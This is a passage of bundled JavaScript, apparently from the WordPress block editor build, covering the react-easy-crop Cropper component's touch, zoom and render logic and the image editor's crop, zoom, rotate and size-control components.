58760 e.preventDefault();
58761 _this.saveContainerPosition();
58762 };
58763 _this.onTouchStart = function (e) {
58764 if (!_this.currentDoc) return;
58765 _this.isTouching = true;
58766 if (_this.props.onTouchRequest && !_this.props.onTouchRequest(e)) {
58767 return;
58768 }
58769 _this.currentDoc.addEventListener('touchmove', _this.onTouchMove, {
58770 passive: false
58771 }); // iOS 11 now defaults to passive: true
58772 _this.currentDoc.addEventListener('touchend', _this.onDragStopped);
58773 _this.saveContainerPosition();
58774 if (e.touches.length === 2) {
58775 _this.onPinchStart(e);
58776 } else if (e.touches.length === 1) {
58777 _this.onDragStart(Cropper.getTouchPoint(e.touches[0]));
58778 }
58779 };
58780 _this.onTouchMove = function (e) {
58781 // Prevent whole page from scrolling on iOS.
58782 e.preventDefault();
58783 if (e.touches.length === 2) {
58784 _this.onPinchMove(e);
58785 } else if (e.touches.length === 1) {
58786 _this.onDrag(Cropper.getTouchPoint(e.touches[0]));
58787 }
58788 };
58789 _this.onGestureStart = function (e) {
58790 if (!_this.currentDoc) return;
58791 e.preventDefault();
58792 _this.currentDoc.addEventListener('gesturechange', _this.onGestureMove);
58793 _this.currentDoc.addEventListener('gestureend', _this.onGestureEnd);
58794 _this.gestureZoomStart = _this.props.zoom;
58795 _this.gestureRotationStart = _this.props.rotation;
58796 };
58797 _this.onGestureMove = function (e) {
58798 e.preventDefault();
58799 if (_this.isTouching) {
58800 // this is to avoid conflict between gesture and touch events
58801 return;
58802 }
58803 var point = Cropper.getMousePoint(e);
58804 var newZoom = _this.gestureZoomStart - 1 + e.scale;
58805 _this.setNewZoom(newZoom, point, {
58806 shouldUpdatePosition: true
58807 });
58808 if (_this.props.onRotationChange) {
58809 var newRotation = _this.gestureRotationStart + e.rotation;
58810 _this.props.onRotationChange(newRotation);
58811 }
58812 };
58813 _this.onGestureEnd = function (e) {
58814 _this.cleanEvents();
58815 };
58816 _this.onDragStart = function (_a) {
58817 var _b, _c;
58818 var x = _a.x,
58819 y = _a.y;
58820 _this.dragStartPosition = {
58821 x: x,
58822 y: y
58823 };
58824 _this.dragStartCrop = __assign({}, _this.props.crop);
58825 (_c = (_b = _this.props).onInteractionStart) === null || _c === void 0 ? void 0 : _c.call(_b);
58826 };
58827 _this.onDrag = function (_a) {
58828 var x = _a.x,
58829 y = _a.y;
58830 if (!_this.currentWindow) return;
58831 if (_this.rafDragTimeout) _this.currentWindow.cancelAnimationFrame(_this.rafDragTimeout);
58832 _this.rafDragTimeout = _this.currentWindow.requestAnimationFrame(function () {
58833 if (!_this.state.cropSize) return;
58834 if (x === undefined || y === undefined) return;
58835 var offsetX = x - _this.dragStartPosition.x;
58836 var offsetY = y - _this.dragStartPosition.y;
58837 var requestedPosition = {
58838 x: _this.dragStartCrop.x + offsetX,
58839 y: _this.dragStartCrop.y + offsetY
58840 };
58841 var newPosition = _this.props.restrictPosition ? restrictPosition(requestedPosition, _this.mediaSize, _this.state.cropSize, _this.props.zoom, _this.props.rotation) : requestedPosition;
58842 _this.props.onCropChange(newPosition);
58843 });
58844 };
58845 _this.onDragStopped = function () {
58846 var _a, _b;
58847 _this.isTouching = false;
58848 _this.cleanEvents();
58849 _this.emitCropData();
58850 (_b = (_a = _this.props).onInteractionEnd) === null || _b === void 0 ? void 0 : _b.call(_a);
58851 };
58852 _this.onWheel = function (e) {
58853 if (!_this.currentWindow) return;
58854 if (_this.props.onWheelRequest && !_this.props.onWheelRequest(e)) {
58855 return;
58856 }
58857 e.preventDefault();
58858 var point = Cropper.getMousePoint(e);
58859 var pixelY = normalize_wheel_default()(e).pixelY;
58860 var newZoom = _this.props.zoom - pixelY * _this.props.zoomSpeed / 200;
58861 _this.setNewZoom(newZoom, point, {
58862 shouldUpdatePosition: true
58863 });
58864 if (!_this.state.hasWheelJustStarted) {
58865 _this.setState({
58866 hasWheelJustStarted: true
58867 }, function () {
58868 var _a, _b;
58869 return (_b = (_a = _this.props).onInteractionStart) === null || _b === void 0 ? void 0 : _b.call(_a);
58870 });
58871 }
58872 if (_this.wheelTimer) {
58873 clearTimeout(_this.wheelTimer);
58874 }
58875 _this.wheelTimer = _this.currentWindow.setTimeout(function () {
58876 return _this.setState({
58877 hasWheelJustStarted: false
58878 }, function () {
58879 var _a, _b;
58880 return (_b = (_a = _this.props).onInteractionEnd) === null || _b === void 0 ? void 0 : _b.call(_a);
58881 });
58882 }, 250);
58883 };
58884 _this.getPointOnContainer = function (_a, containerTopLeft) {
58885 var x = _a.x,
58886 y = _a.y;
58887 if (!_this.containerRect) {
58888 throw new Error('The Cropper is not mounted');
58889 }
58890 return {
58891 x: _this.containerRect.width / 2 - (x - containerTopLeft.x),
58892 y: _this.containerRect.height / 2 - (y - containerTopLeft.y)
58893 };
58894 };
58895 _this.getPointOnMedia = function (_a) {
58896 var x = _a.x,
58897 y = _a.y;
58898 var _b = _this.props,
58899 crop = _b.crop,
58900 zoom = _b.zoom;
58901 return {
58902 x: (x + crop.x) / zoom,
58903 y: (y + crop.y) / zoom
58904 };
58905 };
58906 _this.setNewZoom = function (zoom, point, _a) {
58907 var _b = _a === void 0 ? {} : _a,
58908 _c = _b.shouldUpdatePosition,
58909 shouldUpdatePosition = _c === void 0 ? true : _c;
58910 if (!_this.state.cropSize || !_this.props.onZoomChange) return;
58911 var newZoom = clamp(zoom, _this.props.minZoom, _this.props.maxZoom);
58912 if (shouldUpdatePosition) {
58913 var zoomPoint = _this.getPointOnContainer(point, _this.containerPosition);
58914 var zoomTarget = _this.getPointOnMedia(zoomPoint);
58915 var requestedPosition = {
58916 x: zoomTarget.x * newZoom - zoomPoint.x,
58917 y: zoomTarget.y * newZoom - zoomPoint.y
58918 };
58919 var newPosition = _this.props.restrictPosition ? restrictPosition(requestedPosition, _this.mediaSize, _this.state.cropSize, newZoom, _this.props.rotation) : requestedPosition;
58920 _this.props.onCropChange(newPosition);
58921 }
58922 _this.props.onZoomChange(newZoom);
58923 };
58924 _this.getCropData = function () {
58925 if (!_this.state.cropSize) {
58926 return null;
58927 }
58928 // this is to ensure the crop is correctly restricted after a zoom back (https://github.com/ValentinH/react-easy-crop/issues/6)
58929 var restrictedPosition = _this.props.restrictPosition ? restrictPosition(_this.props.crop, _this.mediaSize, _this.state.cropSize, _this.props.zoom, _this.props.rotation) : _this.props.crop;
58930 return computeCroppedArea(restrictedPosition, _this.mediaSize, _this.state.cropSize, _this.getAspect(), _this.props.zoom, _this.props.rotation, _this.props.restrictPosition);
58931 };
58932 _this.emitCropData = function () {
58933 var cropData = _this.getCropData();
58934 if (!cropData) return;
58935 var croppedAreaPercentages = cropData.croppedAreaPercentages,
58936 croppedAreaPixels = cropData.croppedAreaPixels;
58937 if (_this.props.onCropComplete) {
58938 _this.props.onCropComplete(croppedAreaPercentages, croppedAreaPixels);
58939 }
58940 if (_this.props.onCropAreaChange) {
58941 _this.props.onCropAreaChange(croppedAreaPercentages, croppedAreaPixels);
58942 }
58943 };
58944 _this.emitCropAreaChange = function () {
58945 var cropData = _this.getCropData();
58946 if (!cropData) return;
58947 var croppedAreaPercentages = cropData.croppedAreaPercentages,
58948 croppedAreaPixels = cropData.croppedAreaPixels;
58949 if (_this.props.onCropAreaChange) {
58950 _this.props.onCropAreaChange(croppedAreaPercentages, croppedAreaPixels);
58951 }
58952 };
58953 _this.recomputeCropPosition = function () {
58954 if (!_this.state.cropSize) return;
58955 var newPosition = _this.props.restrictPosition ? restrictPosition(_this.props.crop, _this.mediaSize, _this.state.cropSize, _this.props.zoom, _this.props.rotation) : _this.props.crop;
58956 _this.props.onCropChange(newPosition);
58957 _this.emitCropData();
58958 };
58959 return _this;
58960 }
58961 Cropper.prototype.componentDidMount = function () {
58962 if (!this.currentDoc || !this.currentWindow) return;
58963 if (this.containerRef) {
58964 if (this.containerRef.ownerDocument) {
58965 this.currentDoc = this.containerRef.ownerDocument;
58966 }
58967 if (this.currentDoc.defaultView) {
58968 this.currentWindow = this.currentDoc.defaultView;
58969 }
58970 this.initResizeObserver();
58971 // only add window resize listener if ResizeObserver is not supported. Otherwise, it would be redundant
58972 if (typeof window.ResizeObserver === 'undefined') {
58973 this.currentWindow.addEventListener('resize', this.computeSizes);
58974 }
58975 this.props.zoomWithScroll && this.containerRef.addEventListener('wheel', this.onWheel, {
58976 passive: false
58977 });
58978 this.containerRef.addEventListener('gesturestart', this.onGestureStart);
58979 }
58980 this.currentDoc.addEventListener('scroll', this.onScroll);
58981 if (!this.props.disableAutomaticStylesInjection) {
58982 this.styleRef = this.currentDoc.createElement('style');
58983 this.styleRef.setAttribute('type', 'text/css');
58984 if (this.props.nonce) {
58985 this.styleRef.setAttribute('nonce', this.props.nonce);
58986 }
58987 this.styleRef.innerHTML = css_248z;
58988 this.currentDoc.head.appendChild(this.styleRef);
58989 }
58990 // when rendered via SSR, the image can already be loaded and its onLoad callback will never be called
58991 if (this.imageRef.current && this.imageRef.current.complete) {
58992 this.onMediaLoad();
58993 }
58994 // set image and video refs in the parent if the callbacks exist
58995 if (this.props.setImageRef) {
58996 this.props.setImageRef(this.imageRef);
58997 }
58998 if (this.props.setVideoRef) {
58999 this.props.setVideoRef(this.videoRef);
59000 }
59001 };
59002 Cropper.prototype.componentWillUnmount = function () {
59003 var _a, _b;
59004 if (!this.currentDoc || !this.currentWindow) return;
59005 if (typeof window.ResizeObserver === 'undefined') {
59006 this.currentWindow.removeEventListener('resize', this.computeSizes);
59007 }
59008 (_a = this.resizeObserver) === null || _a === void 0 ? void 0 : _a.disconnect();
59009 if (this.containerRef) {
59010 this.containerRef.removeEventListener('gesturestart', this.preventZoomSafari);
59011 }
59012 if (this.styleRef) {
59013 (_b = this.styleRef.parentNode) === null || _b === void 0 ? void 0 : _b.removeChild(this.styleRef);
59014 }
59015 this.cleanEvents();
59016 this.props.zoomWithScroll && this.clearScrollEvent();
59017 };
59018 Cropper.prototype.componentDidUpdate = function (prevProps) {
59019 var _a, _b, _c, _d, _e, _f, _g, _h, _j;
59020 if (prevProps.rotation !== this.props.rotation) {
59021 this.computeSizes();
59022 this.recomputeCropPosition();
59023 } else if (prevProps.aspect !== this.props.aspect) {
59024 this.computeSizes();
59025 } else if (prevProps.objectFit !== this.props.objectFit) {
59026 this.computeSizes();
59027 } else if (prevProps.zoom !== this.props.zoom) {
59028 this.recomputeCropPosition();
59029 } else if (((_a = prevProps.cropSize) === null || _a === void 0 ? void 0 : _a.height) !== ((_b = this.props.cropSize) === null || _b === void 0 ? void 0 : _b.height) || ((_c = prevProps.cropSize) === null || _c === void 0 ? void 0 : _c.width) !== ((_d = this.props.cropSize) === null || _d === void 0 ? void 0 : _d.width)) {
59030 this.computeSizes();
59031 } else if (((_e = prevProps.crop) === null || _e === void 0 ? void 0 : _e.x) !== ((_f = this.props.crop) === null || _f === void 0 ? void 0 : _f.x) || ((_g = prevProps.crop) === null || _g === void 0 ? void 0 : _g.y) !== ((_h = this.props.crop) === null || _h === void 0 ? void 0 : _h.y)) {
59032 this.emitCropAreaChange();
59033 }
59034 if (prevProps.zoomWithScroll !== this.props.zoomWithScroll && this.containerRef) {
59035 this.props.zoomWithScroll ? this.containerRef.addEventListener('wheel', this.onWheel, {
59036 passive: false
59037 }) : this.clearScrollEvent();
59038 }
59039 if (prevProps.video !== this.props.video) {
59040 (_j = this.videoRef.current) === null || _j === void 0 ? void 0 : _j.load();
59041 }
59042 var objectFit = this.getObjectFit();
59043 if (objectFit !== this.state.mediaObjectFit) {
59044 this.setState({
59045 mediaObjectFit: objectFit
59046 }, this.computeSizes);
59047 }
59048 };
59049 Cropper.prototype.getAspect = function () {
59050 var _a = this.props,
59051 cropSize = _a.cropSize,
59052 aspect = _a.aspect;
59053 if (cropSize) {
59054 return cropSize.width / cropSize.height;
59055 }
59056 return aspect;
59057 };
59058 Cropper.prototype.getObjectFit = function () {
59059 var _a, _b, _c, _d;
59060 if (this.props.objectFit === 'cover') {
59061 var mediaRef = this.imageRef.current || this.videoRef.current;
59062 if (mediaRef && this.containerRef) {
59063 this.containerRect = this.containerRef.getBoundingClientRect();
59064 var containerAspect = this.containerRect.width / this.containerRect.height;
59065 var naturalWidth = ((_a = this.imageRef.current) === null || _a === void 0 ? void 0 : _a.naturalWidth) || ((_b = this.videoRef.current) === null || _b === void 0 ? void 0 : _b.videoWidth) || 0;
59066 var naturalHeight = ((_c = this.imageRef.current) === null || _c === void 0 ? void 0 : _c.naturalHeight) || ((_d = this.videoRef.current) === null || _d === void 0 ? void 0 : _d.videoHeight) || 0;
59067 var mediaAspect = naturalWidth / naturalHeight;
59068 return mediaAspect < containerAspect ? 'horizontal-cover' : 'vertical-cover';
59069 }
59070 return 'horizontal-cover';
59071 }
59072 return this.props.objectFit;
59073 };
59074 Cropper.prototype.onPinchStart = function (e) {
59075 var pointA = Cropper.getTouchPoint(e.touches[0]);
59076 var pointB = Cropper.getTouchPoint(e.touches[1]);
59077 this.lastPinchDistance = getDistanceBetweenPoints(pointA, pointB);
59078 this.lastPinchRotation = getRotationBetweenPoints(pointA, pointB);
59079 this.onDragStart(getCenter(pointA, pointB));
59080 };
59081 Cropper.prototype.onPinchMove = function (e) {
59082 var _this = this;
59083 if (!this.currentDoc || !this.currentWindow) return;
59084 var pointA = Cropper.getTouchPoint(e.touches[0]);
59085 var pointB = Cropper.getTouchPoint(e.touches[1]);
59086 var center = getCenter(pointA, pointB);
59087 this.onDrag(center);
59088 if (this.rafPinchTimeout) this.currentWindow.cancelAnimationFrame(this.rafPinchTimeout);
59089 this.rafPinchTimeout = this.currentWindow.requestAnimationFrame(function () {
59090 var distance = getDistanceBetweenPoints(pointA, pointB);
59091 var newZoom = _this.props.zoom * (distance / _this.lastPinchDistance);
59092 _this.setNewZoom(newZoom, center, {
59093 shouldUpdatePosition: false
59094 });
59095 _this.lastPinchDistance = distance;
59096 var rotation = getRotationBetweenPoints(pointA, pointB);
59097 var newRotation = _this.props.rotation + (rotation - _this.lastPinchRotation);
59098 _this.props.onRotationChange && _this.props.onRotationChange(newRotation);
59099 _this.lastPinchRotation = rotation;
59100 });
59101 };
59102 Cropper.prototype.render = function () {
59103 var _this = this;
59104 var _a = this.props,
59105 image = _a.image,
59106 video = _a.video,
59107 mediaProps = _a.mediaProps,
59108 transform = _a.transform,
59109 _b = _a.crop,
59110 x = _b.x,
59111 y = _b.y,
59112 rotation = _a.rotation,
59113 zoom = _a.zoom,
59114 cropShape = _a.cropShape,
59115 showGrid = _a.showGrid,
59116 _c = _a.style,
59117 containerStyle = _c.containerStyle,
59118 cropAreaStyle = _c.cropAreaStyle,
59119 mediaStyle = _c.mediaStyle,
59120 _d = _a.classes,
59121 containerClassName = _d.containerClassName,
59122 cropAreaClassName = _d.cropAreaClassName,
59123 mediaClassName = _d.mediaClassName;
59124 var objectFit = this.state.mediaObjectFit;
59125 return external_React_.createElement("div", {
59126 onMouseDown: this.onMouseDown,
59127 onTouchStart: this.onTouchStart,
59128 ref: function ref(el) {
59129 return _this.containerRef = el;
59130 },
59131 "data-testid": "container",
59132 style: containerStyle,
59133 className: classNames('reactEasyCrop_Container', containerClassName)
59134 }, image ? external_React_.createElement("img", __assign({
59135 alt: "",
59136 className: classNames('reactEasyCrop_Image', objectFit === 'contain' && 'reactEasyCrop_Contain', objectFit === 'horizontal-cover' && 'reactEasyCrop_Cover_Horizontal', objectFit === 'vertical-cover' && 'reactEasyCrop_Cover_Vertical', mediaClassName)
59137 }, mediaProps, {
59138 src: image,
59139 ref: this.imageRef,
59140 style: __assign(__assign({}, mediaStyle), {
59141 transform: transform || "translate(".concat(x, "px, ").concat(y, "px) rotate(").concat(rotation, "deg) scale(").concat(zoom, ")")
59142 }),
59143 onLoad: this.onMediaLoad
59144 })) : video && external_React_.createElement("video", __assign({
59145 autoPlay: true,
59146 loop: true,
59147 muted: true,
59148 className: classNames('reactEasyCrop_Video', objectFit === 'contain' && 'reactEasyCrop_Contain', objectFit === 'horizontal-cover' && 'reactEasyCrop_Cover_Horizontal', objectFit === 'vertical-cover' && 'reactEasyCrop_Cover_Vertical', mediaClassName)
59149 }, mediaProps, {
59150 ref: this.videoRef,
59151 onLoadedMetadata: this.onMediaLoad,
59152 style: __assign(__assign({}, mediaStyle), {
59153 transform: transform || "translate(".concat(x, "px, ").concat(y, "px) rotate(").concat(rotation, "deg) scale(").concat(zoom, ")")
59154 }),
59155 controls: false
59156 }), (Array.isArray(video) ? video : [{
59157 src: video
59158 }]).map(function (item) {
59159 return external_React_.createElement("source", __assign({
59160 key: item.src
59161 }, item));
59162 })), this.state.cropSize && external_React_.createElement("div", {
59163 style: __assign(__assign({}, cropAreaStyle), {
59164 width: this.state.cropSize.width,
59165 height: this.state.cropSize.height
59166 }),
59167 "data-testid": "cropper",
59168 className: classNames('reactEasyCrop_CropArea', cropShape === 'round' && 'reactEasyCrop_CropAreaRound', showGrid && 'reactEasyCrop_CropAreaGrid', cropAreaClassName)
59169 }));
59170 };
59171 Cropper.defaultProps = {
59172 zoom: 1,
59173 rotation: 0,
59174 aspect: 4 / 3,
59175 maxZoom: index_module_MAX_ZOOM,
59176 minZoom: index_module_MIN_ZOOM,
59177 cropShape: 'rect',
59178 objectFit: 'contain',
59179 showGrid: true,
59180 style: {},
59181 classes: {},
59182 mediaProps: {},
59183 zoomSpeed: 1,
59184 restrictPosition: true,
59185 zoomWithScroll: true
59186 };
59187 Cropper.getMousePoint = function (e) {
59188 return {
59189 x: Number(e.clientX),
59190 y: Number(e.clientY)
59191 };
59192 };
59193 Cropper.getTouchPoint = function (touch) {
59194 return {
59195 x: Number(touch.clientX),
59196 y: Number(touch.clientY)
59197 };
59198 };
59199 return Cropper;
59200}(external_React_.Component);
59201
59202
59203
59204;// ./node_modules/@wordpress/block-editor/build-module/components/image-editor/cropper.js
59205
59206
59207
59208
59209
59210
59211
59212function ImageCropper({
59213 url,
59214 width,
59215 height,
59216 naturalHeight,
59217 naturalWidth,
59218 borderProps
59219}) {
59220 const {
59221 isInProgress,
59222 editedUrl,
59223 position,
59224 zoom,
59225 aspect,
59226 setPosition,
59227 setCrop,
59228 setZoom,
59229 rotation
59230 } = useImageEditingContext();
59231 const [contentResizeListener, { width: clientWidth }] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
59232 let editedHeight = height || clientWidth * naturalHeight / naturalWidth;
59233 if (rotation % 180 === 90) {
59234 editedHeight = clientWidth * naturalWidth / naturalHeight;
59235 }
59236 const area = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
59237 "div",
59238 {
59239 className: dist_clsx(
59240 "wp-block-image__crop-area",
59241 borderProps?.className,
59242 {
59243 "is-applying": isInProgress
59244 }
59245 ),
59246 style: {
59247 ...borderProps?.style,
59248 width: width || clientWidth,
59249 height: editedHeight
59250 },
59251 children: [
59252 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59253 Cropper,
59254 {
59255 image: editedUrl || url,
59256 disabled: isInProgress,
59257 minZoom: MIN_ZOOM / 100,
59258 maxZoom: MAX_ZOOM / 100,
59259 crop: position,
59260 zoom: zoom / 100,
59261 aspect,
59262 onCropChange: (pos) => {
59263 setPosition(pos);
59264 },
59265 onCropComplete: (newCropPercent) => {
59266 setCrop(newCropPercent);
59267 },
59268 onZoomChange: (newZoom) => {
59269 setZoom(newZoom * 100);
59270 }
59271 }
59272 ),
59273 isInProgress && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {})
59274 ]
59275 }
59276 );
59277 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
59278 contentResizeListener,
59279 area
59280 ] });
59281}
59282
59283
59284;// ./node_modules/@wordpress/icons/build-module/library/search.js
59285
59286
59287var search_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z" }) });
59288
59289
59290;// ./node_modules/@wordpress/block-editor/build-module/components/image-editor/zoom-dropdown.js
59291
59292
59293
59294
59295
59296
59297function ZoomDropdown() {
59298 const { isInProgress, zoom, setZoom } = useImageEditingContext();
59299 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59300 external_wp_components_namespaceObject.Dropdown,
59301 {
59302 contentClassName: "wp-block-image__zoom",
59303 popoverProps: constants_POPOVER_PROPS,
59304 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59305 external_wp_components_namespaceObject.ToolbarButton,
59306 {
59307 icon: search_default,
59308 label: (0,external_wp_i18n_namespaceObject.__)("Zoom"),
59309 onClick: onToggle,
59310 "aria-expanded": isOpen,
59311 disabled: isInProgress
59312 }
59313 ),
59314 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalDropdownContentWrapper, { paddingSize: "medium", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59315 external_wp_components_namespaceObject.RangeControl,
59316 {
59317 __next40pxDefaultSize: true,
59318 __nextHasNoMarginBottom: true,
59319 label: (0,external_wp_i18n_namespaceObject.__)("Zoom"),
59320 min: MIN_ZOOM,
59321 max: MAX_ZOOM,
59322 value: Math.round(zoom),
59323 onChange: setZoom
59324 }
59325 ) })
59326 }
59327 );
59328}
59329
59330
59331;// ./node_modules/@wordpress/icons/build-module/library/rotate-right.js
59332
59333
59334var rotate_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z" }) });
59335
59336
59337;// ./node_modules/@wordpress/block-editor/build-module/components/image-editor/rotation-button.js
59338
59339
59340
59341
59342
59343function RotationButton() {
59344 const { isInProgress, rotateClockwise } = useImageEditingContext();
59345 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59346 external_wp_components_namespaceObject.ToolbarButton,
59347 {
59348 icon: rotate_right_default,
59349 label: (0,external_wp_i18n_namespaceObject.__)("Rotate"),
59350 onClick: rotateClockwise,
59351 disabled: isInProgress
59352 }
59353 );
59354}
59355
59356
59357;// ./node_modules/@wordpress/block-editor/build-module/components/image-editor/form-controls.js
59358
59359
59360
59361
59362function FormControls() {
59363 const { isInProgress, apply, cancel } = useImageEditingContext();
59364 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
59365 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarButton, { onClick: apply, disabled: isInProgress, children: (0,external_wp_i18n_namespaceObject.__)("Apply") }),
59366 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarButton, { onClick: cancel, children: (0,external_wp_i18n_namespaceObject.__)("Cancel") })
59367 ] });
59368}
59369
59370
59371;// ./node_modules/@wordpress/block-editor/build-module/components/image-editor/index.js
59372
59373
59374
59375
59376
59377
59378
59379
59380
59381function ImageEditor({
59382 id,
59383 url,
59384 width,
59385 height,
59386 naturalHeight,
59387 naturalWidth,
59388 onSaveImage,
59389 onFinishEditing,
59390 borderProps
59391}) {
59392 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
59393 ImageEditingProvider,
59394 {
59395 id,
59396 url,
59397 naturalWidth,
59398 naturalHeight,
59399 onSaveImage,
59400 onFinishEditing,
59401 children: [
59402 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59403 ImageCropper,
59404 {
59405 borderProps,
59406 url,
59407 width,
59408 height,
59409 naturalHeight,
59410 naturalWidth
59411 }
59412 ),
59413 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(block_controls_default, { children: [
59414 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ToolbarGroup, { children: [
59415 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ZoomDropdown, {}),
59416 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { children: (toggleProps) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(AspectRatioDropdown, { toggleProps }) }),
59417 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RotationButton, {})
59418 ] }),
59419 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(FormControls, {}) })
59420 ] })
59421 ]
59422 }
59423 );
59424}
59425
59426
59427;// ./node_modules/@wordpress/block-editor/build-module/components/image-size-control/use-dimension-handler.js
59428
59429function useDimensionHandler(customHeight, customWidth, defaultHeight, defaultWidth, onChange) {
59430 const [currentWidth, setCurrentWidth] = (0,external_wp_element_namespaceObject.useState)(
59431 customWidth ?? defaultWidth ?? ""
59432 );
59433 const [currentHeight, setCurrentHeight] = (0,external_wp_element_namespaceObject.useState)(
59434 customHeight ?? defaultHeight ?? ""
59435 );
59436 (0,external_wp_element_namespaceObject.useEffect)(() => {
59437 if (customWidth === void 0 && defaultWidth !== void 0) {
59438 setCurrentWidth(defaultWidth);
59439 }
59440 if (customHeight === void 0 && defaultHeight !== void 0) {
59441 setCurrentHeight(defaultHeight);
59442 }
59443 }, [defaultWidth, defaultHeight]);
59444 (0,external_wp_element_namespaceObject.useEffect)(() => {
59445 if (customWidth !== void 0 && Number.parseInt(customWidth) !== Number.parseInt(currentWidth)) {
59446 setCurrentWidth(customWidth);
59447 }
59448 if (customHeight !== void 0 && Number.parseInt(customHeight) !== Number.parseInt(currentHeight)) {
59449 setCurrentHeight(customHeight);
59450 }
59451 }, [customWidth, customHeight]);
59452 const updateDimension = (dimension, value) => {
59453 const parsedValue = value === "" ? void 0 : parseInt(value, 10);
59454 if (dimension === "width") {
59455 setCurrentWidth(parsedValue);
59456 } else {
59457 setCurrentHeight(parsedValue);
59458 }
59459 onChange({
59460 [dimension]: parsedValue
59461 });
59462 };
59463 const updateDimensions = (nextHeight, nextWidth) => {
59464 setCurrentHeight(nextHeight ?? defaultHeight);
59465 setCurrentWidth(nextWidth ?? defaultWidth);
59466 onChange({ height: nextHeight, width: nextWidth });
59467 };
59468 return {
59469 currentHeight,
59470 currentWidth,
59471 updateDimension,
59472 updateDimensions
59473 };
59474}
59475
59476
59477;// ./node_modules/@wordpress/block-editor/build-module/components/image-size-control/index.js
59478
59479
59480
59481
59482const IMAGE_SIZE_PRESETS = [25, 50, 75, 100];
59483const image_size_control_noop = () => {
59484};
59485function getScaledWidthAndHeight(scale, imageWidth, imageHeight) {
59486 const scaledWidth = Math.round(imageWidth * (scale / 100));
59487 const scaledHeight = Math.round(imageHeight * (scale / 100));
59488 return {
59489 scaledWidth,
59490 scaledHeight
59491 };
59492}
59493function ImageSizeControl({
59494 imageSizeHelp,
59495 imageWidth,
59496 imageHeight,
59497 imageSizeOptions = [],
59498 isResizable = true,
59499 slug,
59500 width,
59501 height,
59502 onChange,
59503 onChangeImage = image_size_control_noop
59504}) {
59505 const { currentHeight, currentWidth, updateDimension, updateDimensions } = useDimensionHandler(height, width, imageHeight, imageWidth, onChange);
59506 const handleUpdateDimensions = (scale) => {
59507 if (void 0 === scale) {
59508 updateDimensions();
59509 return;
59510 }
59511 const { scaledWidth, scaledHeight } = getScaledWidthAndHeight(
59512 scale,
59513 imageWidth,
59514 imageHeight
59515 );
59516 updateDimensions(scaledHeight, scaledWidth);
59517 };
59518 const selectedValue = IMAGE_SIZE_PRESETS.find((scale) => {
59519 const { scaledWidth, scaledHeight } = getScaledWidthAndHeight(
59520 scale,
59521 imageWidth,
59522 imageHeight
59523 );
59524 return currentWidth === scaledWidth && currentHeight === scaledHeight;
59525 });
59526 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { className: "block-editor-image-size-control", spacing: "4", children: [
